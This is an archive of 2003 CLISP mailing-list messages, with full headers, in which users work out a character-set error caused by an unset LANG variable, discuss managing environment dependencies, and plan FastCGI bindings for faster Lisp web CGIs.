Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 21:12:02 2003 X-Original-Date: Mon, 6 Jan 2003 21:10:33 -0800 (PST) On Mon, 6 Jan 2003, Don Cohen wrote: > Date: Mon, 6 Jan 2003 21:04:50 -0800 > From: Don Cohen > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] what causes this error ? > > I can't reproduce it. > > Character #\u00B3 cannot be represented in the character set CHARSET:ASCII That is caused by trying to do 8 bit I/O on text streams, but not having your LANG environment set to some locale that has 8 bit characters. ASCII has only 7 bits. From don-sourceforge@isis.cs3-inc.com Mon Jan 06 21:37:30 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VmQc-0004hy-00 for ; Mon, 06 Jan 2003 21:37:30 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h075duv08313; Mon, 6 Jan 2003 21:39:56 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15898.26667.548678.926276@isis.cs3-inc.com> To: To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <200301070504.h0754od08073@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] Re: what causes this error ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 21:38:02 2003 X-Original-Date: Mon, 6 Jan 2003 21:39:55 -0800 Kaz Kylheku writes: Character #\u00B3 cannot be represented in the character set CHARSET:ASCII > That is caused by trying to do 8 bit I/O on text streams, but not > having your LANG environment set to some locale that has 8 bit > characters. ASCII has only 7 bits. Excellent, I expected something like that. The reason I couldn't reproduce it was that $ echo $LANG => en_US When I unset LANG I get it. My problem started when I rebooted my machine (after close to a year). This ran my mail server (written in lisp). Evidently rc.local runs in an environment without LANG set (or at least not set to en_US), and this caused mail containing chars like #\u00B3 to cause errors. Next question: what's the right solution to this sort of problem. I'd like to be able to encapsulate all of the environment that influences clisp so that I can expect the application to work even when I move it to another environment. Is there (a) a way to generate all the environment variables that matter to a given clisp image, (b) any way to remove such dependencies, (c) any way to capture and preserve a given environment? From ngps@netmemetic.com Mon Jan 06 21:56:36 2003 Received: from bb-203-125-44-168.singnet.com.sg ([203.125.44.168] helo=vista.netmemetic.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vmj5-0006LO-00 for ; Mon, 06 Jan 2003 21:56:35 -0800 Received: by vista.netmemetic.com (Postfix, from userid 100) id 4C1ED715; Tue, 7 Jan 2003 13:57:49 +0800 (SGT) From: Ng Pheng Siong To: Don Cohen Cc: Kaz Kylheku , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: what causes this error ? Message-ID: <20030107055749.GA2095@vista.netmemetic.com> References: <200301070504.h0754od08073@isis.cs3-inc.com> <15898.26667.548678.926276@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15898.26667.548678.926276@isis.cs3-inc.com> User-Agent: Mutt/1.4i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 21:57:02 2003 X-Original-Date: Tue, 7 Jan 2003 13:57:49 +0800 On Mon, Jan 06, 2003 at 09:39:55PM -0800, Don Cohen wrote: > Next question: what's the right solution to this sort of problem. > I'd like to be able to encapsulate all of the environment that > influences clisp so that I can expect the application to work > even when I move it to another environment. Is there (a) a way > to generate all the environment variables that matter to a given > clisp image, (b) any way to remove such dependencies, (c) any way > to capture and preserve a given environment? Check out daemontools: http://cr.yp.to/daemontools Daemontools read environment variables from config files and supply them to the processes it manages. -- Ng Pheng Siong * http://www.netmemetic.com From rrschulz@cris.com Mon Jan 06 23:19:44 2003 Received: from uhura.concentric.net ([206.173.118.93]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vo1X-0000wG-00 for ; Mon, 06 Jan 2003 23:19:43 -0800 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id h077JeC02590 for ; Tue, 7 Jan 2003 02:19:40 -0500 (EST) Received: from Clemens.cris.com (da003d1018.sjc-ca.osd.concentric.net [64.1.3.251]) by marconi.concentric.net (8.9.1a) id CAA04146; Tue, 7 Jan 2003 02:19:34 -0500 (EST) Message-Id: <5.2.0.9.2.20030106231747.027cba78@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Re: what causes this error ? In-Reply-To: <20030107055749.GA2095@vista.netmemetic.com> References: <15898.26667.548678.926276@isis.cs3-inc.com> <200301070504.h0754od08073@isis.cs3-inc.com> <15898.26667.548678.926276@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 23:20:03 2003 X-Original-Date: Mon, 06 Jan 2003 23:20:20 -0800 Pheng Siong, At 21:57 2003-01-06, Ng Pheng Siong wrote: >On Mon, Jan 06, 2003 at 09:39:55PM -0800, Don Cohen wrote: > > Next question: what's the right solution to this sort of problem. > > I'd like to be able to encapsulate all of the environment that > > influences clisp so that I can expect the application to work > > even when I move it to another environment. Is there (a) a way > > to generate all the environment variables that matter to a given > > clisp image, (b) any way to remove such dependencies, (c) any way > > to capture and preserve a given environment? > >Check out daemontools: > > http://cr.yp.to/daemontools "access denied" And that is the entirety of the response. Well, actually this is: access denied Randall Schulz >Daemontools read environment variables from config files and supply them >to the processes it manages. > >-- >Ng Pheng Siong * http://www.netmemetic.com From ngps@netmemetic.com Mon Jan 06 23:36:31 2003 Received: from bb-203-125-44-191.singnet.com.sg ([203.125.44.191] helo=vista.netmemetic.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VoHm-0002qz-00 for ; Mon, 06 Jan 2003 23:36:30 -0800 Received: by vista.netmemetic.com (Postfix, from userid 100) id BE0BB715; Tue, 7 Jan 2003 15:38:03 +0800 (SGT) From: Ng Pheng Siong To: Randall R Schulz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: what causes this error ? Message-ID: <20030107073803.GA2345@vista.netmemetic.com> References: <15898.26667.548678.926276@isis.cs3-inc.com> <200301070504.h0754od08073@isis.cs3-inc.com> <15898.26667.548678.926276@isis.cs3-inc.com> <5.2.0.9.2.20030106231747.027cba78@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.2.0.9.2.20030106231747.027cba78@pop3.cris.com> User-Agent: Mutt/1.4i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 23:37:05 2003 X-Original-Date: Tue, 7 Jan 2003 15:38:03 +0800 On Mon, Jan 06, 2003 at 11:20:20PM -0800, Randall R Schulz wrote: > > http://cr.yp.to/daemontools > "access denied" Sorry, it should be http://cr.yp.to/daemontools.html -- Ng Pheng Siong * http://www.netmemetic.com From rrschulz@cris.com Mon Jan 06 23:37:07 2003 Received: from uhura.concentric.net ([206.173.118.93]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VoIM-0002wb-00 for ; Mon, 06 Jan 2003 23:37:06 -0800 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id h077b4C06414 for ; Tue, 7 Jan 2003 02:37:04 -0500 (EST) Received: from Clemens.cris.com (da003d1018.sjc-ca.osd.concentric.net [64.1.3.251]) by marconi.concentric.net (8.9.1a) id CAA06507; Tue, 7 Jan 2003 02:37:02 -0500 (EST) Message-Id: <5.2.0.9.2.20030106233428.02aacce8@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Re: what causes this error ? In-Reply-To: <5.2.0.9.2.20030106231747.027cba78@pop3.cris.com> References: <20030107055749.GA2095@vista.netmemetic.com> <15898.26667.548678.926276@isis.cs3-inc.com> <200301070504.h0754od08073@isis.cs3-inc.com> <15898.26667.548678.926276@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 23:38:01 2003 X-Original-Date: Mon, 06 Jan 2003 23:37:53 -0800 At 23:20 2003-01-06, Randall R Schulz wrote: >Pheng Siong, > >At 21:57 2003-01-06, Ng Pheng Siong wrote: >> >>Check out daemontools: >> >> http://cr.yp.to/daemontools > >"access denied" > >And that is the entirety of the response. Well, actually this is: > >access denied What I included in my email here was HTML, apparently stripped by the list server. It was something like this with the angle brackets from the original HTML replaced by curly braces: {html}{body}access denied{/body}{/html} Randall Schulz From hin@van-halen.alma.com Tue Jan 07 05:17:16 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VtbR-00038f-00 for ; Tue, 07 Jan 2003 05:17:09 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h07DGtwb022605; Tue, 7 Jan 2003 08:16:55 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h07DGtZs022602; Tue, 7 Jan 2003 08:16:55 -0500 Message-Id: <200301071316.h07DGtZs022602@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: clisp-list@lists.sourceforge.net In-reply-to: <87wuli8tzh.fsf@bird.agharta.de> (message from Edi Weitz on 06 Jan 2003 11:15:14 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 05:18:02 2003 X-Original-Date: Tue, 7 Jan 2003 08:16:55 -0500 > I have no idea how hard this would be to implement with the Apache C > API. Maybe I'll look into this by the end of this month. hi edi, Just a note of progress on my quest for faster Web CGIs written in CLISP. As an alternative to mod_lisp, or a native CLISP Apache module, I'm checking out "FastCGI", a process model and API/protocol for persistent "application servers" that run behind a Web server. It's similar to mod_lisp -- a separate application server process, and a proprietary protocol for multiplexing all the HTTP traffic over a single socket or pipe. However, FastCGI looks very stable, widely supported (incl. Microsoft IIS, not that I would ever use that :) and is language independent. Only problem is that there is no implementation of the protocol for Common Lisp (thougt they do have one for Guile Scheme (!)). Ah, but there is for "C" so all I would do is have to write a FFI wrapper, which I'm getting pretty good at. So next step is to run some tests using its "C" API, and if I like what I see I'll wrap CLISP bindings around it. It appears that Apache modules are not *that* easy to write, and a lot of the nitty gritties have been done (and redone) by many other modules (e.g., mod_fastcgi) that it doesn't appear worthwhile to me to try to make a native CLISP Apache module, e.g., "mod_clisp". Nor, with this approach, would it be necessary to extract the CLISP engine so that it could be linked in and embedded in some other "C" program -- what a relief :) will keep you posted ... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From edi@agharta.de Tue Jan 07 05:28:56 2003 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vtmk-0005Bn-00 for ; Tue, 07 Jan 2003 05:28:50 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 5F818260555; Tue, 7 Jan 2003 14:28:41 +0100 (CET) To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301071316.h07DGtZs022602@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200301071316.h07DGtZs022602@van-halen.alma.com> Message-ID: <871y3pqeba.fsf@bird.agharta.de> Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 05:29:05 2003 X-Original-Date: 07 Jan 2003 14:28:41 +0100 "John K. Hinsdale" writes: > > I have no idea how hard this would be to implement with the > > Apache C API. Maybe I'll look into this by the end of this month. > > hi edi, > > Just a note of progress on my quest for faster Web CGIs written in > CLISP. As an alternative to mod_lisp, or a native CLISP Apache > module, I'm checking out "FastCGI", a process model and API/protocol > for persistent "application servers" that run behind a Web server. > It's similar to mod_lisp -- a separate application server process, > and a proprietary protocol for multiplexing all the HTTP traffic > over a single socket or pipe. However, FastCGI looks very stable, > widely supported (incl. Microsoft IIS, not that I would ever use > that :) and is language independent. > > Only problem is that there is no implementation of the protocol for > Common Lisp (thougt they do have one for Guile Scheme (!)). Ah, but > there is for "C" so all I would do is have to write a FFI wrapper, > which I'm getting pretty good at. So next step is to run some tests > using its "C" API, and if I like what I see I'll wrap CLISP bindings > around it. Sounds like a worthwhile task although - if I had to choose - I'd appreciate if you'd use UFFI... :) > It appears that Apache modules are not *that* easy to write, and a > lot of the nitty gritties have been done (and redone) by many other > modules (e.g., mod_fastcgi) that it doesn't appear worthwhile to me > to try to make a native CLISP Apache module, e.g., "mod_clisp". > Nor, with this approach, would it be necessary to extract the CLISP > engine so that it could be linked in and embedded in some other "C" > program -- what a relief :) Yep, Apache modules aren't trivial to do - although from the few small ones I wrote I think that the Apache API is quite good. However, the main drawback of something like mod_clisp would have been that you end up with lots of different Lisp images as opposed to one image with mod_lisp and also (?) with FastCGI. Good luck and keep us posted. Cheers, Edi. From hin@van-halen.alma.com Tue Jan 07 05:38:06 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vtvb-00068o-00 for ; Tue, 07 Jan 2003 05:37:59 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h07Dbowb023378; Tue, 7 Jan 2003 08:37:50 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h07DbowG023375; Tue, 7 Jan 2003 08:37:50 -0500 Message-Id: <200301071337.h07DbowG023375@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: clisp-list@lists.sourceforge.net In-reply-to: <871y3pqeba.fsf@bird.agharta.de> (message from Edi Weitz on 07 Jan 2003 14:28:41 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 05:39:03 2003 X-Original-Date: Tue, 7 Jan 2003 08:37:50 -0500 > Sounds like a worthwhile task although - if I had to choose - I'd > appreciate if you'd use UFFI... :) OK, I'll check that out. I thought UFFI didn't work in CLISP. But if it does then I'll use it, as I think that is more portable to other CL implementations, no? > However, the main drawback of something like mod_clisp would have been > that you end up with lots of different Lisp images as opposed to one > image with mod_lisp That is correct, it would have a separate CLISP image (run environment) embedded into each Apache subprocess. The advantage, though is that I wouldn't have to rely on threading support in the CL implementation, and also my application would not have to be thread-safe. For example, my very own Oracle interface to CLISP caches connections in a global Lisp variable whose access is not serialized across multiple threads in the Lisp program -- shame on me. I suppose I should put a warning about that in the docs. > and also (?) with FastCGI. It appears you can choose w/ FastCGI to have it manage its spawned activities as separate processes or threads-in-a-process. I'm going to choose the former due to my two constraints above, but there is no reason I won't be able to easily migrate to the latter someday. FYI, I did some pre-tests on my regular CGI-based Oracle application in CLISP. I compared a CGI request with one database query against another one that executed the same query over 100 times, and I've found that when the fixed cost of initial overhead is subtracted out, the "variable" cost of the request is only about one tenth of the total. I'm not sure how much of the initial overhead is CLISP starting up, my stuff connecting to Oracle, or what. But whatever it is, this means that when I get a solution working that uses a persistent CLISP process (and databse connections, etc.), I should expect a ten-fold improvement in my response times. So that is why I'm keen on it. From edi@agharta.de Tue Jan 07 05:54:50 2003 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VuBo-000823-00 for ; Tue, 07 Jan 2003 05:54:44 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 2E524260555; Tue, 7 Jan 2003 14:54:30 +0100 (CET) To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301071337.h07DbowG023375@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200301071337.h07DbowG023375@van-halen.alma.com> Message-ID: <87vg11oyjt.fsf@bird.agharta.de> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 05:55:07 2003 X-Original-Date: 07 Jan 2003 14:54:30 +0100 "John K. Hinsdale" writes: > > Sounds like a worthwhile task although - if I had to choose - I'd > > appreciate if you'd use UFFI... :) > > OK, I'll check that out. I thought UFFI didn't work in CLISP. But > if it does then I'll use it, as I think that is more portable to > other CL implementations, no? No, AFAIK it doesn't work with CLISP (yet) - that's why I put the smiley there. But maybe FastCGI bindings based on UFFI would be another incentive to make CLISP and UFFI work together... :) Cheers, Edi. From sds@gnu.org Tue Jan 07 07:22:09 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VvYO-0006U0-00 for ; Tue, 07 Jan 2003 07:22:08 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030107152202.JHVZ3094.out003.verizon.net@loiso.podval.org>; Tue, 7 Jan 2003 09:22:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h07FNF4e011687; Tue, 7 Jan 2003 10:23:15 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h07FNAOj011683; Tue, 7 Jan 2003 10:23:10 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: "John K. Hinsdale" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301071337.h07DbowG023375@van-halen.alma.com> <87vg11oyjt.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87vg11oyjt.fsf@bird.agharta.de> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.33.199] at Tue, 7 Jan 2003 09:22:02 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 07:23:01 2003 X-Original-Date: 07 Jan 2003 10:23:10 -0500 > * In message <87vg11oyjt.fsf@bird.agharta.de> > * On the subject of "Re: [clisp-list] Re: CLISP Apache module" > * Sent on 07 Jan 2003 14:54:30 +0100 > * Honorable Edi Weitz writes: > > "John K. Hinsdale" writes: > > > > Sounds like a worthwhile task although - if I had to choose - I'd > > > appreciate if you'd use UFFI... :) > > > > OK, I'll check that out. I thought UFFI didn't work in CLISP. But > > if it does then I'll use it, as I think that is more portable to > > other CL implementations, no? > > No, AFAIK it doesn't work with CLISP (yet) - that's why I put the > smiley there. But maybe FastCGI bindings based on UFFI would be > another incentive to make CLISP and UFFI work together... :) we do not need an incentive. what we do need is a volunteer. :-( -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't hit a man when he's down -- kick him; it's easier. From sds@gnu.org Tue Jan 07 07:26:29 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vvca-00075d-00 for ; Tue, 07 Jan 2003 07:26:29 -0800 Received: from loiso.podval.org ([151.203.33.199]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20030107152622.KIFL4558.pop018.verizon.net@loiso.podval.org>; Tue, 7 Jan 2003 09:26:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h07FRZ4e011708; Tue, 7 Jan 2003 10:27:35 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h07FRYRp011704; Tue, 7 Jan 2003 10:27:34 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] what causes this error ? References: <200301070504.h0754od08073@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200301070504.h0754od08073@isis.cs3-inc.com> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.33.199] at Tue, 7 Jan 2003 09:26:21 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 07:27:04 2003 X-Original-Date: 07 Jan 2003 10:27:34 -0500 > * In message <200301070504.h0754od08073@isis.cs3-inc.com> > * On the subject of "[clisp-list] what causes this error ?" > * Sent on Mon, 6 Jan 2003 21:04:50 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > I can't reproduce it. > > Character #\u00B3 cannot be represented in the character set CHARSET:ASCII > I'm pretty sure I was running this: > (lisp-implementation-version) > "2.26.1 (released 2001-06-04) (built on host1 [10.0.1.2])" 18 months old. yuk. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Failure is not an option. It comes bundled with your Microsoft product. From lisp-clisp-list@m.gmane.org Tue Jan 07 07:53:44 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vw2w-0004oY-00 for ; Tue, 07 Jan 2003 07:53:42 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Vw1o-0008Vm-00 for ; Tue, 07 Jan 2003 16:52:32 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Vw1n-0008Vd-00 for ; Tue, 07 Jan 2003 16:52:31 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 17 Message-ID: References: <200301070504.h0754od08073@isis.cs3-inc.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: what causes this error ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 07:54:08 2003 X-Original-Date: 07 Jan 2003 10:54:50 -0500 > > * In message <200301070504.h0754od08073@isis.cs3-inc.com> > > * On the subject of "[clisp-list] what causes this error ?" > > * Sent on Mon, 6 Jan 2003 21:04:50 -0800 > > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > > Character #\u00B3 cannot be represented in the character set CHARSET:ASCII > I want $20 for each question that I answer with a URL pointing to the CLISP documentation :-) On the second thought, if the pointer is to the FAQ, I want $50. :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Sinners can repent, but stupid is forever. From don-sourceforge@isis.cs3-inc.com Tue Jan 07 09:27:00 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VxVE-0003Kz-00 for ; Tue, 07 Jan 2003 09:27:00 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h07HTJ214778 for clisp-list@lists.sourceforge.net; Tue, 7 Jan 2003 09:29:19 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15899.3694.903770.954351@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] environment dependencies Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 09:27:08 2003 X-Original-Date: Tue, 7 Jan 2003 09:29:18 -0800 I think this is a serious issue. The daemontools do provide a way to control the environment. What's still missing is a way to find out what needs to be controlled, or, better yet, to eliminate these dependencies. Some initial ideas: - There should be a global variable containing a list of strings, which are the names of environment variables used by the distributed code. - The distributed code should record in another global variable the set of values it has read (and is now using) for environment variables. - The distributed code should use that variable as a cache and avoid reading the same variable from the environment twice. - There should be a setf method for CHANGING the value being used (or setting a value not yet used). I 